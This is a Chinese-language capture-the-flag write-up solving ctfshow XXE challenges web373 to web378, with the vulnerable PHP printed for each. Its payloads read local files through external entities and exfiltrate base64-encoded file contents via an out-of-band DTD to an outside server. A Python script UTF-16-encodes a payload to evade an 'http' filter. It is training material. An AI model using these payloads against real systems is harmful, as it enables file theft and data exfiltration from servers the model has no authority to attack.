ctfshow XXE做题记录
ctfshow XXE做题记录
1.0 web373
看一下过滤代码
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
把一些可能不是很清楚的代码说明一下
libxml_disable_entity_loader(false);
表示允许外部实体调用,这就让我们可以带外DTD了,flase是开启
$dom = new DOMDocument();
创建一个新的DOMDocument对象,它是PHP处理XML的标准方法之一。
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
:使用DOMDocument对象的loadXML方
法加载并解析之前获取到的XML字符串。参数LIBXML_NOENT表示在解析时替换XML文件中的实体引用,
LIBXML_DTDLOAD则表示加载外部DTD(文档类型定义),根据DTD验证XML文档结构。
$creds = simplexml_import_dom($dom);
:将DOMDocument对象转换为SimpleXMLElement对象,以便
于更方便地访问和操作XML元素及属性。
$ctfshow = $creds->ctfshow;
从xml中获得ctfshow标签的值
没有过滤的XXE 关键函数是loadXML()
直接上payload
<?xml version="1.0"?>
<!DOCTYPE payload [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>
在body中发过去,获取payload
注意,这个数据是直接放在body里的,header和body的区分是\r\n
如果一直不行就去看一下自己的换行是否是
\r\n
1.1 web374
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
我们看下代码,发现没有输出选项,考虑带外dtd
这题不知道为什么,不能用file
协议了,考虑php伪协议
php://filter/read=convert.base64-encode/resource=/flag
payload
<!DOCTYPE hacker[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % myurl SYSTEM "http://www.mrbird.love/evil.dtd">
%myurl;
]>
放在远程服务器上的evil.dtd
<!ENTITY % wrapper "<!ENTITY % send SYSTEM 'http://www.mrbird.love/?x=%file;'>">
%wrapper;
%send;
需要注意的是,dtd中的参数要调用才会真正去获取值,第二个evil.dtd因为嵌套了参数定义,所以在引号中%
要用
%
替代
1.2 web 375
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
把xml头给过滤了,但是卵用没有,不影响执行。
还是上一题方法
1.3 web 376
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
过滤代码不直到为什么和上一题没区别,照样尝试带外dtd,直接拿下
1.4 web 377
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
把http给过滤掉了,我们之前的就不能用了,考虑使用utf-16编码绕过,这时候我们就应该用python发包了
import requests
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080', # 假设Burp Suite在本地监听8080端口
}
url = 'http://02d20425-4af1-404f-82f0-c737d050c71e.challenge.ctf.show/'
payload = """<?xml version='1.0' encoding="UTF-16"?>
<!DOCTYPE hacker[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % myurl SYSTEM "http://www.mrbird.love/evil.dtd">
%myurl;
]>
"""
payload = payload.encode('utf-16')
requests.post(url=url, data=payload, proxies=proxies)
其中proxies是我用来监听设置的,也可也不这样设置。
这个题挺奇怪的,之前也是这样写,就是没有flag,重写了两遍重开了下题就有了。
1.5 web 378
来到xxe的最后一题,打开题目发现本题和前几题都不一样,只有一个登录框,查看网页代码我们发现了问题
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
本题的登陆是在前端处理后以xml的格式发送的,这就导致可能产生xxe,经过登陆尝试,发现在 username处是
有回显的我们尝试构造一下,
<?xml version="1.0"?>
<!DOCTYPE payload [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>111</password></user>
成功拿下flag
就此,XXE的题目就全部做完了,完结撒花。